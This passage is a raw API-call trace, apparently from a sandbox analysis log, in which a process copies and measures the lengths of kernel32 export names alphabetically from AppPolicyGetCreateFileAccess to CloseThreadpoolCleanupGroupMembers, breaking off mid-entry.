lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0140.154] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0140.154] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0140.154] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0140.154] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0140.154] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0140.154] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0140.154] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0140.154] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0140.154] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0140.154] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0140.154] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0140.154] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0140.154] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0140.154] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0140.154] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0140.154] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0140.154] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0140.154] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0140.154] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0140.154] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0140.154] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0140.154] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0140.154] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0140.154] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0140.154] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0140.154] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0140.154] lstrlenA (lpString="BACKUPREAD") returned 10 [0140.155] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0140.155] lstrlenA (lpString="BACKUPSEEK") returned 10 [0140.155] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0140.155] lstrlenA (lpString="BACKUPWRITE") returned 11 [0140.155] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0140.155] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0140.155] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0140.155] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0140.155] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0140.155] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0140.155] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0140.155] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0140.155] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0140.155] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0140.155] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0140.155] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0140.155] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0140.155] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0140.155] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0140.155] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0140.155] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0140.155] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0140.155] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0140.155] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0140.155] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0140.155] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0140.155] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0140.155] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0140.156] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0140.156] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0140.156] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0140.156] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0140.156] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0140.156] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0140.156] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0140.156] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0140.156] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0140.156] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0140.156] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0140.156] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0140.156] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0140.156] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0140.156] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0140.156] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0140.156] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0140.156] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0140.156] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0140.156] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0140.156] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0140.156] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0140.156] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0140.156] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0140.156] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0140.156] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0140.156] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0140.156] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0140.156] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0140.156] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0140.156] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0140.157] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0140.157] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0140.157] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0140.157] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0140.157] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0140.157] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0140.157] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0140.157] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0140.157] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0140.157] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0140.157] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0140.157] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0140.157] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0140.157] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0140.157] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0140.157] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0140.157] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0140.157] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0140.157] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0140.157] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0140.157] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0140.157] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0140.157] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0140.157] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0140.157] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0140.157] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0140.157] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0140.157] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0140.157] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0140.157] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0140.158] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0140.158] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0140.158] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0140.158] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0140.158] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0140.158] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0140.158] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0140.158] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0140.158] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0140.158] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0140.158] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0140.158] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0140.158] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0140.158] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0140.158] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0140.158] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0140.158] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0140.158] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0140.158] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0140.158] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0140.158] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0140.158] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0140.158] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0140.158] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0140.158] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0140.158] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0140.158] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0140.158] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0140.158] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0140.158] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0140.159] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0140.159] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0140.159] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0140.159] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0140.159] lstrlenA (lpString="BEEP") returned 4 [0140.159] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0140.159] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0140.159] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0140.159] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0140.159] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0140.159] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0140.159] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0140.159] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0140.159] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0140.159] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0140.159] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0140.159] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0140.159] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0140.159] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0140.159] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0140.159] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0140.159] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0140.159] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0140.159] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0140.159] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0140.159] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0140.159] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0140.159] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0140.159] lstrlenA (lpString="CANCELIO") returned 8 [0140.159] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0140.160] lstrlenA (lpString="CANCELIOEX") returned 10 [0140.160] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0140.160] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0140.160] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0140.160] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0140.160] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0140.160] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0140.160] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0140.160] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0140.160] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0140.160] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0140.160] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0140.160] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0140.160] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0140.160] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0140.160] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0140.160] lstrlenA (lpString="CHECKELEVATION") returned 14 [0140.160] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0140.160] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0140.160] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0140.160] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0140.160] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0140.160] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0140.160] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0140.160] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0140.160] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0140.160] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0140.160] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0140.160] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0140.160] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0140.161] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0140.161] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0140.161] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0140.161] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0140.161] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0140.161] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0140.161] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0140.161] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0140.161] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0140.161] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0140.161] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0140.161] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0140.161] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0140.161] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0140.161] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0140.161] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0140.161] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0140.161] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0140.161] lstrlenA (lpString="CLOSESTATE") returned 10 [0140.161] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0140.161] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0140.161] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0140.161] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0140.161] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: 